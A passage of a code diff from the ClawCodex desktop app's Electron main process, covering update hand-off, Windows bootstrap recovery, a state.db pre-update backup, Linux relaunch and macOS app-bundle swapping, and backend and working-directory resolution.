+    // an unbreakable loop, because the update that would replace the stale
+    // binary is the one being refused. Losing the anti-respawn hardening is
+    // strictly better than never updating again, and the updater still writes
+    // its own marker moments later.
+    if (Number.isInteger(child.pid) && stagedUpdaterSupportsPrewrittenMarker(updater)) {
+      writeUpdateMarker(CLAWCODEX_CONFIG_DIR, child.pid)
+    } else if (Number.isInteger(child.pid)) {
+      rememberLog(
+        `[updates] skipping marker pre-write: staged updater predates self-adopt (${updater}); it would refuse its own claim`
+      )
+    }
+
+    rememberLog(`[updates] launched updater: ${updater} ${updaterArgs.join(' ')}; exiting desktop to release venv shim`)
+
+    // Linger on the "updating — don't reopen" overlay long enough for the user
+    // to actually read it (and to bridge the gap until the updater's own window
+    // appears), THEN quit to release the venv shim. The updater rebuilds and
+    // relaunches us when it's done. (#50419 — a 600ms quit looked like a crash
+    // and lured users into the #50238 relaunch loop.)
+    isQuittingForHandoff = true
+    setTimeout(() => {
+      app.quit()
+    }, UPDATE_HANDOFF_DWELL_MS)
+
+    return { ok: true, handedOff: true, updater }
+  } finally {
+    updateInFlight = false
+  }
+}
+
+async function handOffWindowsBootstrapRecovery(reason) {
+  if (!IS_WINDOWS || !IS_PACKAGED) {
+    return false
+  }
+
+  const updater = resolveUpdaterBinary()
+
+  if (!updater) {
+    return false
+  }
+
+  const handoffConflict = updateHandoffConflict(CLAWCODEX_CONFIG_DIR)
+
+  if (handoffConflict) {
+    // Same hazard as applyUpdates (#75778): a live foreign updater already
+    // owns the marker. Spawning another here would overwrite its claim and
+    // race a second updater over the same install tree. The live updater
+    // is already working on this exact install and will restart us when
+    // it finishes, so treat this the same as a successful hand-off instead
+    // of clobbering it with our own.
+    rememberLog(`[bootstrap] refusing recovery hand-off: ${handoffConflict.message}`)
+    isQuittingForHandoff = true
+    setTimeout(() => {
+      app.quit()
+    }, UPDATE_HANDOFF_DWELL_MS)
+
+    return true
+  }
+
+  const updateRoot = resolveUpdateRoot()
+  const { branch: configuredBranch } = readDesktopUpdateConfig()
+
+  const branch = directoryExists(path.join(updateRoot, '.git'))
+    ? await resolveHealedBranch(updateRoot, configuredBranch || DEFAULT_UPDATE_BRANCH)
+    : configuredBranch || DEFAULT_UPDATE_BRANCH
+
+  const venvBin = path.join(updateRoot, 'venv', IS_WINDOWS ? 'Scripts' : 'bin')
+  const venvClawCodex = path.join(venvBin, IS_WINDOWS ? 'clawcodex.exe' : 'clawcodex')
+  const venvPython = path.join(venvBin, IS_WINDOWS ? 'python.exe' : 'python')
+
+  // Choose the gentle in-place --update when ANY real-install signal is present,
+  // not just the `clawcodex.exe` console-script shim. That shim is generated at the
+  // END of venv setup and is absent in exactly the interrupted/quarantined states
+  // this recovery exists to heal — gating on it alone forced the destructive
+  // --repair (full venv recreate) and drove reinstall loops. The venv interpreter
+  // and the bootstrap-complete marker are present earlier and are better signals.
+  const haveRealInstall =
+    fileExists(venvPython) || fileExists(venvClawCodex) || fileExists(path.join(updateRoot, '.clawcodex-bootstrap-complete'))
+
+  const updaterArgs = chooseUpdaterArgs(haveRealInstall, branch)
+
+  await releaseBackendLockForUpdate(updateRoot)
+
+  const child = spawnUpdaterProcess(updater, updaterArgs, {
+    cwd: CLAWCODEX_CONFIG_DIR,
+    env: {
+      ...process.env,
+      CLAWCODEX_CONFIG_DIR,
+      PATH: pathWithClawCodexManagedNode(venvBin)
+    },
+    detached: true,
+    stdio: 'ignore'
+  })
+
+  // Same marker pre-write as applyUpdates — see comment there. The recovery
+  // hand-off has the same window where the renderer can respawn a backend
+  // before the updater writes its own marker, and the same stale-updater
+  // exclusion: a pre-#74782 binary would refuse its own pre-written claim and
+  // strand the very recovery meant to heal the install.
+  if (Number.isInteger(child.pid) && stagedUpdaterSupportsPrewrittenMarker(updater)) {
+    writeUpdateMarker(CLAWCODEX_CONFIG_DIR, child.pid)
+  } else if (Number.isInteger(child.pid)) {
+    rememberLog(
+      `[bootstrap] skipping marker pre-write: staged updater predates self-adopt (${updater}); it would refuse its own claim`
+    )
+  }
+
+  rememberLog(
+    `[bootstrap] handed off ${reason} recovery to updater: ${updater} ${updaterArgs.join(' ')}; exiting desktop to release app.asar`
+  )
+  // Same dwell as the in-app update hand-off (#50419): give the updater's
+  // window time to appear before we vanish, so the recovery doesn't look like
+  // a crash and provoke a mid-recovery relaunch.
+  isQuittingForHandoff = true
+  setTimeout(() => {
+    app.quit()
+  }, UPDATE_HANDOFF_DWELL_MS)
+
+  return true
+}
+
+// Resolve the clawcodex CLI to drive an in-app update: prefer the venv shim in
+// the install we're updating, fall back to `clawcodex` on PATH.
+function resolveClawCodexCliBinary(updateRoot) {
+  const venvClawCodex = path.join(updateRoot, 'venv', 'bin', 'clawcodex')
+
+  if (fileExists(venvClawCodex)) {
+    return venvClawCodex
+  }
+
+  return findOnPath('clawcodex') || null
+}
+
+// Spawn a command and stream each output line to the update progress channel.
+function runStreamedUpdate(command, args, { cwd, env, stage }: any = {}) {
+  return new Promise(resolve => {
+    let child
+
+    try {
+      child = spawn(
+        command,
+        args,
+        hiddenWindowsChildOptions({
+          cwd,
+          env: { ...process.env, ...(env || {}) },
+          stdio: ['ignore', 'pipe', 'pipe']
+        })
+      )
+    } catch (err) {
+      resolve({ code: 1, error: err.message })
+
+      return
+    }
+
+    const emitLines = chunk => {
+      for (const line of chunk.toString().split('\n')) {
+        const trimmed = line.trim()
+
+        if (trimmed) {
+          emitUpdateProgress({ stage, message: trimmed, percent: null })
+        }
+      }
+    }
+
+    child.stdout.on('data', emitLines)
+    child.stderr.on('data', emitLines)
+    child.once('error', err => resolve({ code: 1, error: err.message }))
+    child.once('exit', code => resolve({ code }))
+  })
+}
+
+// The running app's .app bundle (packaged macOS): execPath is
+// <App>.app/Contents/MacOS/<exe>; climb three levels to the bundle root.
+function runningAppBundle() {
+  if (!IS_MAC) {
+    return null
+  }
+
+  let dir = path.dirname(app.getPath('exe')) // .../Contents/MacOS
+
+  for (let i = 0; i < 2; i++) {
+    dir = path.dirname(dir)
+  } // -> .../X.app
+
+  return dir.endsWith('.app') ? dir : null
+}
+
+// ── Pre-flight state.db integrity guard (#68474) ─────────────────────
+// Take an emergency snapshot of state.db and verify the live copy is
+// intact before any update process mutates the install.  Runs in the
+// desktop Electron process itself, before the backend is killed and
+// before the updater is spawned — a separate safety net from the
+// Python-level pre-update snapshot inside `clawcodex update`.
+function preflightStateDb(clawcodexHome, rememberLog) {
+  const stateDbPath = path.join(clawcodexHome, 'state.db')
+
+  if (!fileExists(stateDbPath)) {
+    rememberLog('[updates] state.db pre-flight: not found (fresh install?)')
+
+    return
+  }
+
+  try {
+    const stat = fs.statSync(stateDbPath)
+
+    if (stat.size > 100) {
+      const fd = fs.openSync(stateDbPath, 'r')
+      const header = Buffer.alloc(16)
+
+      fs.readSync(fd, header, 0, 16, 0)
+      fs.closeSync(fd)
+
+      const expectedHeader = Buffer.from('SQLite format 3\0')
+      const headerOk = header.equals(expectedHeader)
+
+      rememberLog(
+        `[updates] state.db pre-flight: size=${stat.size}, ` +
+          `headerOk=${headerOk}, headerHex=${header.toString('hex')}`
+      )
+
+      if (!headerOk) {
+        rememberLog(
+          '[updates] state.db header is INVALID before update — ' +
+            'this indicates pre-existing corruption or a concurrent write issue'
+        )
+      }
+
+      // Emergency timestamped backup, separate from the Python-level snapshot.
+      const ts = new Date().toISOString().replace(/[:.]/g, '-')
+
+      const emergencyPath = path.join(clawcodexHome, `state.db.pre-update-emergency-${ts}.bak`)
+
+      try {
+        fs.copyFileSync(stateDbPath, emergencyPath)
+        const emergStat = fs.statSync(emergencyPath)
+
+        rememberLog(`[updates] emergency state.db backup: ${emergencyPath} ` + `(${emergStat.size} bytes)`)
+
+        // Prune to the 2 most recent emergency backups.
+        try {
+          const homeDir = fs.readdirSync(clawcodexHome)
+
+          const backups = homeDir
+            .filter(
+              f =>
+                f.startsWith('state.db.pre-update-emergency-') &&
+                f.endsWith('.bak') &&
+                f !== path.basename(emergencyPath)
+            )
+            .sort()
+            .reverse()
+
+          for (const old of backups.slice(2)) {
+            try {
+              fs.unlinkSync(path.join(clawcodexHome, old))
+            } catch {
+              void 0
+            }
+          }
+        } catch {
+          void 0
+        }
+      } catch (copyErr) {
+        rememberLog(`[updates] emergency state.db backup failed: ${copyErr.message}`)
+      }
+    } else {
+      rememberLog(`[updates] state.db too small (${stat.size} bytes) for a valid SQLite database`)
+    }
+  } catch (statErr) {
+    rememberLog(`[updates] could not stat state.db before update: ${statErr.message}`)
+  }
+}
+
+function shellQuote(value) {
+  return `'${String(value).replace(/'/g, `'\\''`)}'`
+}
+
+// macOS/Linux in-app update: backend (`clawcodex update`) + OS-aware GUI rebuild
+// (`clawcodex desktop --build-only`), then atomically swap the running .app bundle
+// with the freshly built one and relaunch. Degrades to "backend updated,
+// restart to load the new GUI" if the swap can't be performed.
+async function applyUpdatesPosixInApp(opts: any) {
+  const updateRoot = resolveUpdateRoot()
+  const clawcodex = resolveClawCodexCliBinary(updateRoot)
+
+  if (!clawcodex) {
+    emitUpdateProgress({ stage: 'manual', message: 'clawcodex update', percent: null })
+
+    return { ok: true, manual: true, command: 'clawcodex update', clawcodexRoot: updateRoot }
+  }
+
+  // ── Pre-flight state.db integrity guard (#68474) ──
+  preflightStateDb(CLAWCODEX_CONFIG_DIR, rememberLog)
+
+  // Put the ClawCodex-managed Node and the venv on PATH so `clawcodex desktop`'s
+  // npm build can find them on a machine with no system Node. Windows portable
+  // Node lives directly under %LOCALAPPDATA%\\clawcodex\\node, not node\\bin.
+  // PYTHONUNBUFFERED: `clawcodex update` writes to a pipe here, so CPython
+  // block-buffers stdout and long quiet steps (the pre-update backup can zip
+  // multi-GB archives for minutes) stream nothing to the progress UI — users
+  // read the silence as a hang and cancel a healthy update.
+  const env: Record<string, string> = {
+    CLAWCODEX_CONFIG_DIR,
+    PYTHONUNBUFFERED: '1',
+    PATH: pathWithClawCodexManagedNode(path.join(updateRoot, 'venv', 'bin'))
+  }
+
+  // `clawcodex update` reaps stale `clawcodex serve` backends (a code update
+  // leaves the running process serving old Python against the freshly-updated
+  // JS bundle). But OUR backend is one of those processes, and killing it
+  // mid-update produces the boot→kill→crash loop in #37532 — the desktop
+  // already restarts its own backend via the rebuild+relaunch below, so the
+  // reap must spare it. Hand the live backend's PID to the update process;
+  // _kill_stale_dashboard_processes reads CLAWCODEX_DESKTOP_CHILD_PID and excludes
+  // it while still reaping any genuinely-orphaned backends. (#37532)
+  // Exclude every desktop-managed backend (primary + all pool profiles) from
+  // the update reaper. _kill_stale_dashboard_processes accepts a comma-separated
+  // list (a single int still parses for back-compat).
+  const desktopChildPids = []
+  const clawcodexProcess = backendConnectionState.getProcess()
+
+  if (clawcodexProcess && Number.isInteger(clawcodexProcess.pid)) {
+    desktopChildPids.push(clawcodexProcess.pid)
+  }
+
+  for (const entry of backendPool.values()) {
+    if (entry.process && Number.isInteger(entry.process.pid)) {
+      desktopChildPids.push(entry.process.pid)
+    }
+  }
+
+  if (desktopChildPids.length) {
+    env.CLAWCODEX_DESKTOP_CHILD_PID = desktopChildPids.join(',')
+  }
+
+  // Branch-pin so a non-main checkout doesn't get switched to main (and self-heal
+  // to main when the pinned branch no longer exists on origin).
+  let branchArgs = []
+
+  try {
+    const head = await runGit(['rev-parse', '--abbrev-ref', 'HEAD'], { cwd: updateRoot })
+    const current = (head.stdout || '').trim()
+
+    if (head.code === 0 && current && current !== 'HEAD') {
+      branchArgs = ['--branch', await resolveHealedBranch(updateRoot, current)]
+    }
+  } catch {
+    // best effort
+  }
+
+  emitUpdateProgress({ stage: 'update', message: 'Updating ClawCodex (git + dependencies)…', percent: 10 })
+
+  const updated = (await runStreamedUpdate(clawcodex, ['update', '--yes', ...branchArgs], {
+    cwd: updateRoot,
+    env,
+    stage: 'update'
+  })) as any
+
+  if (updated.code !== 0) {
+    emitUpdateProgress({ stage: 'error', message: 'clawcodex update failed.', error: updated.error || 'update-failed' })
+
+    return { ok: false, error: 'clawcodex update failed' }
+  }
+
+  emitUpdateProgress({ stage: 'rebuild', message: 'Rebuilding the desktop app…', percent: 60 })
+
+  // Retry-once: a first rebuild can fail on a still-settling tree or a
+  // self-healed (network-blocked) Electron download; a second run builds clean
+  // off the healed dist so we reach the swap+relaunch below instead of bailing.
+  const rebuilt = await runRebuildWithRetry(attempt => {
+    if (attempt > 0) {
+      emitUpdateProgress({ stage: 'rebuild', message: 'Retrying the desktop rebuild…', percent: 60 })
+    }
+
+    return runStreamedUpdate(clawcodex, ['desktop', '--build-only'], { cwd: updateRoot, env, stage: 'rebuild' })
+  })
+
+  if (rebuilt.code !== 0) {
+    emitUpdateProgress({
+      stage: 'error',
+      message: 'Backend updated, but the desktop rebuild failed. Restart ClawCodex to retry.',
+      error: rebuilt.error || 'rebuild-failed'
+    })
+
+    return { ok: false, backendUpdated: true, error: 'desktop rebuild failed' }
+  }
+
+  // Linux in-app update terminal state (#45205). `clawcodex desktop --build-only`
+  // rebuilds the unpacked app in place under apps/desktop/release/<plat>-unpacked.
+  // We can only HONESTLY relaunch into the new GUI when the *running* binary IS
+  // that rebuilt one — i.e. execPath lives under release/<plat>-unpacked. The
+  // outcome is decided by three signals (see update-relaunch.ts):
+  //
+  //   underUnpacked + sandboxOk  → 'relaunch': detached watcher re-execs us in
+  //       place (mirrors the macOS handoff). Without it the update succeeds but
+  //       the app never restarts and the overlay hangs on "applying" forever.
+  //   !underUnpacked             → 'guiSkew': the running shell is an AppImage/
+  //       .deb/.rpm/dev/unresolved binary we did NOT replace. Claiming "loads
+  //       next launch" is a lie (GUI/backend skew, #37541) — surface an
+  //       explicit closeable terminal state telling the user the GUI package
+  //       was NOT changed and must be updated/reinstalled.
+  //   underUnpacked + !sandboxOk → 'manual': we'd be relaunching the rebuilt
+  //       binary, but a fresh rebuild can leave chrome-sandbox without
+  //       root:root + setuid (mode 4755) and Electron then refuses to launch
+  //       ("quit and never came back"). DO NOT quit into a dead app — keep the
+  //       working window and surface the closeable manual-restart state.
+  if (!IS_MAC) {
+    const unpackedDir = resolveUnpackedRelease(process.execPath, updateRoot, process.platform)
+    const underUnpacked = unpackedDir !== null
+
+    const preflight = underUnpacked
+      ? sandboxPreflight(unpackedDir, p => fs.statSync(p))
+      : { ok: false, reason: 'not-under-unpacked', path: null }
+
+    const sandboxFallback = sandboxFallbackFromEnv(process.env, process.argv.slice(1))
+    const sandboxOk = preflight.ok || sandboxFallback
+
+    if (underUnpacked && !preflight.ok) {
+      rememberLog(
+        `[updates] sandbox preflight: not launchable (${preflight.reason}) at ${preflight.path}; ` +
+          `fallback=${sandboxFallback ? 'env/--no-sandbox' : 'none'}`
+      )
+    }
+
+    const outcome = decideRelaunchOutcome({ underUnpacked, sandboxOk })
+
+    if (outcome === 'relaunch') {
+      emitUpdateProgress({ stage: 'restart', message: 'Restarting ClawCodex…', percent: 100 })
+      // Preserve launch context across the re-exec: replay the original args
+      // (filtered of Electron internals) and the env/cwd that define which
+      // backend/profile/root this instance talks to. Without this the
+      // relaunched instance comes up with default context instead of the user's.
+      const relaunchArgs = collectRelaunchArgs(process.argv.slice(1))
+      const relaunchEnv = collectRelaunchEnv(process.env)
+
+      const relaunchScript = buildRelaunchScript({
+        pid: process.pid,
+        execPath: process.execPath,
+        args: relaunchArgs,
+        env: relaunchEnv,
+        cwd: process.cwd()
+      })
+
+      const scriptPath = path.join(app.getPath('temp'), `clawcodex-desktop-update-${Date.now()}.sh`)
+
+      try {
+        fs.writeFileSync(scriptPath, relaunchScript, { mode: 0o755 })
+        const child = spawn('/bin/bash', [scriptPath], { detached: true, stdio: 'ignore' })
+        child.unref()
+        rememberLog(
+          `[updates] launched linux relaunch: ${scriptPath} -> ${process.execPath} ` +
+            `(args=${relaunchArgs.length}, env=${Object.keys(relaunchEnv).length})`
+        )
+        isQuittingForHandoff = true
+        setTimeout(() => app.quit(), UPDATE_HANDOFF_DWELL_MS)
+
+        return { ok: true, handedOff: true }
+      } catch (err) {
+        rememberLog(`[updates] linux relaunch failed: ${err.message}; falling back to manual restart`)
+
+        return {
+          ok: true,
+          backendUpdated: true,
+          guiUpdated: false,
+          manualRestart: true,
+          message: 'Backend updated. Quit and reopen ClawCodex to load the new version.'
+        }
+      }
+    }
+
+    if (outcome === 'guiSkew') {
+      emitUpdateProgress({
+        stage: 'guiSkew',
+        message:
+          'Backend updated, but the desktop app package was not changed. ' +
+          'Update or reinstall the ClawCodex desktop app to match.',
+        percent: 100
+      })
+      rememberLog(
+        `[updates] gui/backend skew: execPath ${process.execPath} not under release/*-unpacked; ` +
+          'backend updated, GUI package unchanged (AppImage/.deb/.rpm/dev/unresolved)'
+      )
+
+      return { ok: true, backendUpdated: true, guiUpdated: false, guiSkew: true }
+    }
+
+    // outcome === 'manual': we're the rebuilt binary, but its sandbox helper is
+    // not launchable and no fallback applies. Keep this working window alive.
+    rememberLog(
+      `[updates] sandbox not launchable (${preflight.reason}); skipping auto-relaunch, ` +
+        'returning manual-restart so the user keeps a working window'
+    )
+
+    return {
+      ok: true,
+      backendUpdated: true,
+      guiUpdated: false,
+      manualRestart: true,
+      sandboxBlocked: true,
+      message:
+        'Backend updated. The rebuilt app can’t relaunch automatically ' +
+        '(sandbox helper needs root). Quit and reopen ClawCodex to finish.'
+    }
+  }
+
+  const rebuiltApp = [
+    path.join(updateRoot, 'apps', 'desktop', 'release', 'mac-arm64', 'ClawCodex.app'),
+    path.join(updateRoot, 'apps', 'desktop', 'release', 'mac', 'ClawCodex.app')
+  ].find(directoryExists)
+
+  const targetApp = runningAppBundle()
+
+  // No bundle to swap (dev run, Linux AppImage, or unresolved paths): the
+  // backend is updated; the next launch picks up the rebuilt GUI.
+  if (!rebuiltApp || !targetApp) {
+    emitUpdateProgress({
+      stage: 'done',
+      message: 'Backend updated. Restart ClawCodex to load the new version.',
+      percent: 100
+    })
+
+    return { ok: true, backendUpdated: true, rebuiltApp: rebuiltApp || null }
+  }
+
+  emitUpdateProgress({ stage: 'restart', message: 'Installing the updated app and restarting…', percent: 95 })
+
+  // Detached swapper: wait for THIS process to exit (so the bundle is free),
+  // ditto the rebuilt app over the running one, clear quarantine, relaunch.
+  const swapScript = `#!/bin/bash
+set -u
+APP_PID=${process.pid}
+SRC=${shellQuote(rebuiltApp)}
+DST=${shellQuote(targetApp)}
+for _ in $(seq 1 240); do
+  kill -0 "$APP_PID" 2>/dev/null || break
+  sleep 0.5
+done
+if [ "$SRC" != "$DST" ]; then
+  if /usr/bin/ditto "$SRC" "$DST.clawcodex-update-new"; then
+    rm -rf "$DST.clawcodex-update-old" 2>/dev/null || true
+    mv "$DST" "$DST.clawcodex-update-old" 2>/dev/null || rm -rf "$DST"
+    mv "$DST.clawcodex-update-new" "$DST"
+    rm -rf "$DST.clawcodex-update-old" 2>/dev/null || true
+  fi
+fi
+/usr/bin/xattr -dr com.apple.quarantine "$DST" 2>/dev/null || true
+/usr/bin/open "$DST"
+`
+
+  const scriptPath = path.join(app.getPath('temp'), `clawcodex-desktop-update-${Date.now()}.sh`)
+
+  try {
+    fs.writeFileSync(scriptPath, swapScript, { mode: 0o755 })
+  } catch (err) {
+    emitUpdateProgress({
+      stage: 'done',
+      message: 'Backend + app updated. Restart ClawCodex to load the new version.',
+      percent: 100
+    })
+    rememberLog(`[updates] could not write swap script: ${err.message}; rebuilt app at ${rebuiltApp}`)
+
+    return { ok: true, backendUpdated: true, rebuiltApp }
+  }
+
+  const child = spawn('/bin/bash', [scriptPath], { detached: true, stdio: 'ignore' })
+  child.unref()
+  rememberLog(`[updates] launched mac swap+relaunch: ${scriptPath} (${rebuiltApp} -> ${targetApp})`)
+
+  isQuittingForHandoff = true
+  setTimeout(() => app.quit(), 600)
+
+  return { ok: true, handedOff: true, rebuiltApp, targetApp }
+}
+
+function readJson(filePath) {
+  try {
+    return JSON.parse(fs.readFileSync(filePath, 'utf8'))
+  } catch {
+    return null
+  }
+}
+
+// Bootstrap-complete marker helpers. The marker is written by whichever
+// installer ran: install.ps1, install.sh, the Rust bootstrap installer, or the
+// first-launch bootstrap runner. It is provenance ("a bootstrap finished
+// here"), NOT the launch gate -- activeRuntimeState() decides that, because a
+// healthy runtime can predate the marker or outlive a repair that cleared it.
+//
+// Marker schema (version 1):
+//   {
+//     schemaVersion: 1,
+//     pinnedCommit: "<40-char SHA>",       // what install.ps1 was driven against
+//     pinnedBranch: "<branch name>" | null,
+//     completedAt:  "<ISO 8601>",
+//     desktopVersion: "<app.getVersion()>"  // for forensics
+//   }
+function readBootstrapMarker() {
+  return readJson(BOOTSTRAP_COMPLETE_MARKER)
+}
+
+// Marker-independent: is the canonical install at ACTIVE_CLAWCODEX_ROOT actually
+// runnable right now? A complete CLI install (`install.sh --include-desktop`)
+// or a DMG launch over a prior CLI install satisfies this WITHOUT the desktop
+// ever having written the bootstrap marker -- so we must be able to recognise
+// "already installed" off the filesystem alone, not just the marker.
+function isActiveRuntimeUsable() {
+  const venvPython = getVenvPython(VENV_ROOT)
+
+  return (
+    isClawCodexSourceRoot(ACTIVE_CLAWCODEX_ROOT) &&
+    fileExists(venvPython) &&
+    canImportClawCodexCli(venvPython, {
+      env: {
+        PYTHONPATH: [ACTIVE_CLAWCODEX_ROOT, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
+      }
+    })
+  )
+}
+
+function activeRuntimeState() {
+  // We DELIBERATELY do NOT verify that the checkout is currently at the
+  // pinned commit -- users update via the in-app update path or `clawcodex
+  // update`, which moves HEAD legitimately. The marker only attests "a
+  // desktop-managed bootstrap ran here at least once"; runtime usability is
+  // what decides whether we can actually launch.
+  return classifyActiveRuntime(readBootstrapMarker(), BOOTSTRAP_MARKER_SCHEMA_VERSION, isActiveRuntimeUsable())
+}
+
+function writeBootstrapMarker(payload) {
+  fs.mkdirSync(path.dirname(BOOTSTRAP_COMPLETE_MARKER), { recursive: true })
+
+  const merged = {
+    schemaVersion: BOOTSTRAP_MARKER_SCHEMA_VERSION,
+    pinnedCommit: payload.pinnedCommit || null,
+    pinnedBranch: payload.pinnedBranch || null,
+    completedAt: new Date().toISOString(),
+    desktopVersion: app.getVersion()
+  }
+
+  writeFileAtomic(BOOTSTRAP_COMPLETE_MARKER, JSON.stringify(merged, null, 2) + '\n', 'utf8')
+
+  return merged
+}
+
+function resolveWebDist() {
+  const override = process.env.CLAWCODEX_DESKTOP_WEB_DIST
+
+  if (override && directoryExists(path.resolve(override))) {
+    return path.resolve(override)
+  }
+
+  const unpackedDist = path.join(unpackedPathFor(APP_ROOT), 'dist')
+
+  if (directoryExists(unpackedDist)) {
+    return unpackedDist
+  }
+
+  // Final fallback: APP_ROOT/dist. When packaged with asar:true this lives
+  // INSIDE app.asar — not a servable filesystem directory — so the embedded
+  // dashboard backend 404s on static routes (see #41327, #39472). The durable
+  // fix is unpacking dist/ (PR #41411 adds dist/** to asarUnpack so the tier-2
+  // unpackedDist above resolves). If we still land here while packaged, log it
+  // so the cause isn't silent.
+  const fallback = path.join(APP_ROOT, 'dist')
+
+  if (IS_PACKAGED && /app\.asar(?=$|[\\/])/.test(fallback) && !directoryExists(fallback)) {
+    rememberLog(
+      `[web-dist] dashboard frontend dir resolved to an asar-internal path that ` +
+        `is not a real directory: ${fallback}. Static routes will 404. ` +
+        `Ensure dist/** is unpacked (asarUnpack) or set CLAWCODEX_DESKTOP_WEB_DIST.`
+    )
+  }
+
+  return fallback
+}
+
+function resolveRendererIndex() {
+  const candidates = [path.join(APP_ROOT, 'dist', 'index.html'), path.join(resolveWebDist(), 'index.html')]
+  const found = candidates.find(fileExists)
+
+  if (found) {
+    return found
+  }
+
+  // Nothing on disk. A packaged build with no renderer bundle blank-pages with
+  // a bare ERR_FILE_NOT_FOUND and no clue why (see #39484). Surface the cause
+  // and the fix before Electron loads the missing file.
+  rememberLog(
+    `[renderer] index.html not found — the desktop app was packaged without a ` +
+      `renderer bundle. Tried: ${candidates.join(', ')}. ` +
+      `Rebuild with: clawcodex desktop --force-build`
+  )
+
+  return candidates[0]
+}
+
+// True when `dir` lives inside the packaged app bundle / install tree.
+// Packaged Electron's process.cwd() (and npm's INIT_CWD when dev tooling
+// leaked into a release build) often resolve here — e.g. win-unpacked on
+// Windows — which is exactly where PR #37536 item 16 said we must NOT run.
+function isPackagedInstallPath(dir) {
+  return isPackagedInstallPathUnderRoots(dir, {
+    isPackaged: IS_PACKAGED,
+    installRoots: [
+      APP_ROOT,
+      path.dirname(process.execPath),
+      resolveRemovableAppPath(process.execPath, process.platform, process.env)
+    ]
+  })
+}
+
+function resolveClawCodexCwd() {
+  // In a packaged build, `process.cwd()` resolves to the install root (e.g.
+  // `…/win-unpacked` on Windows or `/Applications/ClawCodex.app/Contents/...`
+  // on macOS). Sessions spawned there leave files inside the app bundle
+  // and bewilder users when "where did my files go?" is the install dir.
+  // The user-configurable default project directory wins over everything,
+  // followed by env hints (only honored when packaged if they point at a
+  // real directory), then the home dir.
+  const candidates = [
+    readDefaultProjectDir(),
+    process.env.CLAWCODEX_DESKTOP_CWD,
+    IS_PACKAGED ? null : process.env.INIT_CWD,
+    IS_PACKAGED ? null : process.cwd(),
+    !IS_PACKAGED ? SOURCE_REPO_ROOT : null,
+    app.getPath('home')
+  ]
+
+  for (const candidate of candidates) {
+    if (!candidate) {
+      continue
+    }
+
+    const resolved = path.resolve(String(candidate))
+
+    if (isPackagedInstallPath(resolved)) {
+      continue
+    }
+
+    if (directoryExists(resolved)) {
+      return resolved
+    }
+  }
+
+  return app.getPath('home')
+}
+
+function sanitizeWorkspaceCwd(cwd) {
+  const trimmed = typeof cwd === 'string' ? cwd.trim() : ''
+
+  if (!trimmed || isPackagedInstallPath(trimmed)) {
+    return { cwd: resolveClawCodexCwd(), sanitized: Boolean(trimmed) }
+  }
+
+  try {
+    const resolved = path.resolve(trimmed)
+
+    if (directoryExists(resolved)) {
+      return { cwd: resolved, sanitized: false }
+    }
+  } catch {
+    // Fall through to the resolved default.
+  }
+
+  return { cwd: resolveClawCodexCwd(), sanitized: Boolean(trimmed) }
+}
+
+// Persisted "Default project directory" — surfaced as a setting in the
+// renderer (see app/settings/sessions-settings.tsx). Stored as JSON in
+// userData so it survives self-updates without bleeding into the new
+// install. `null` means "no preference, fall back to the usual chain".
+const DEFAULT_PROJECT_DIR_CONFIG_FILENAME = 'project-dir.json'
+
+function defaultProjectDirConfigPath() {
+  return path.join(app.getPath('userData'), DEFAULT_PROJECT_DIR_CONFIG_FILENAME)
+}
+
+function readDefaultProjectDir() {
+  try {
+    const raw = fs.readFileSync(defaultProjectDirConfigPath(), 'utf8')
+    const parsed = JSON.parse(raw)
+
+    if (parsed && typeof parsed.dir === 'string' && parsed.dir.trim()) {
+      const resolved = path.resolve(parsed.dir)
+
+      if (directoryExists(resolved)) {
+        return resolved
+      }
+    }
+  } catch {
+    // Missing / unreadable / malformed → fall through to the rest of the
+    // candidate chain.
+  }
+
+  return null
+}
+
+function writeDefaultProjectDir(dir) {
+  const target = defaultProjectDirConfigPath()
+  const payload = dir ? JSON.stringify({ dir: path.resolve(dir) }, null, 2) : JSON.stringify({}, null, 2)
+
+  try {
+    fs.mkdirSync(path.dirname(target), { recursive: true })
+    fs.writeFileSync(target, payload, 'utf8')
+  } catch (error) {
+    rememberLog(`[settings] write default project dir failed: ${error.message}`)
+  }
+}
+
+function createPythonBackend(root, label, backendArgs, options: any = {}) {
+  const python = findPythonForRoot(root)
+
+  if (!python) {
+    return null
+  }
+
+  const venvRoot = path.join(root, 'venv')
+  const venvPython = getVenvPython(venvRoot)
+  const command = IS_WINDOWS && fileExists(venvPython) ? venvPython : python
+
+  return {
+    kind: 'python',
+    label,
+    command,
+    args: ['-m', 'clawcodex_cli.main', ...backendArgs],
+    env: buildDesktopBackendEnv({
+      clawcodexHome: CLAWCODEX_CONFIG_DIR,
+      pythonPathEntries: [root, ...getVenvSitePackagesEntries(venvRoot)],
+      venvRoot
+    }),
+    root,
+    bootstrap: Boolean(options.bootstrap),
+    shell: false
+  }
+}
+
+// createActiveBackend — build a backend pointing at ACTIVE_CLAWCODEX_ROOT, the
+// canonical install location shared with the CLI installer. The venv at
+// VENV_ROOT may not exist yet on first run; bootstrap=true tells
+// ensureRuntime() to create / refresh it before launch.
+function createActiveBackend(backendArgs) {
+  const venvPython = getVenvPython(VENV_ROOT)
+  const command = fileExists(venvPython) ? venvPython : findSystemPython()
+
+  return {
+    kind: 'python',
+    label: `ClawCodex at ${ACTIVE_CLAWCODEX_ROOT}`,
+    command,
+    args: ['-m', 'clawcodex_cli.main', ...backendArgs],
+    env: buildDesktopBackendEnv({
+      clawcodexHome: CLAWCODEX_CONFIG_DIR,
+      pythonPathEntries: [ACTIVE_CLAWCODEX_ROOT, ...getVenvSitePackagesEntries(VENV_ROOT)],
+      venvRoot: VENV_ROOT
+    }),
+    root: ACTIVE_CLAWCODEX_ROOT,
+    bootstrap: true,
+    shell: false
+  }
+}
+
+function resolveClawCodexBackend(backendArgs) {
+  // 1. Explicit override -- CLAWCODEX_DESKTOP_CLAWCODEX_ROOT points at a developer
+  //    checkout. Honour it as-is (no bootstrap; the user is driving).
+  const overrideRoot = process.env.CLAWCODEX_DESKTOP_CLAWCODEX_ROOT && path.resolve(process.env.CLAWCODEX_DESKTOP_CLAWCODEX_ROOT)
+
+  if (overrideRoot && isClawCodexSourceRoot(overrideRoot)) {
+    const backend = createPythonBackend(overrideRoot, `ClawCodex source at ${overrideRoot}`, backendArgs)
+
+    if (backend) {
+      return backend
+    }
+  }
+
+  // 2. Development source -- when running `npm run dev` from a checkout, the
+  //    cloned repo at SOURCE_REPO_ROOT takes precedence over ACTIVE and any
+  //    installed `clawcodex` on PATH so local Python edits are actually exercised.
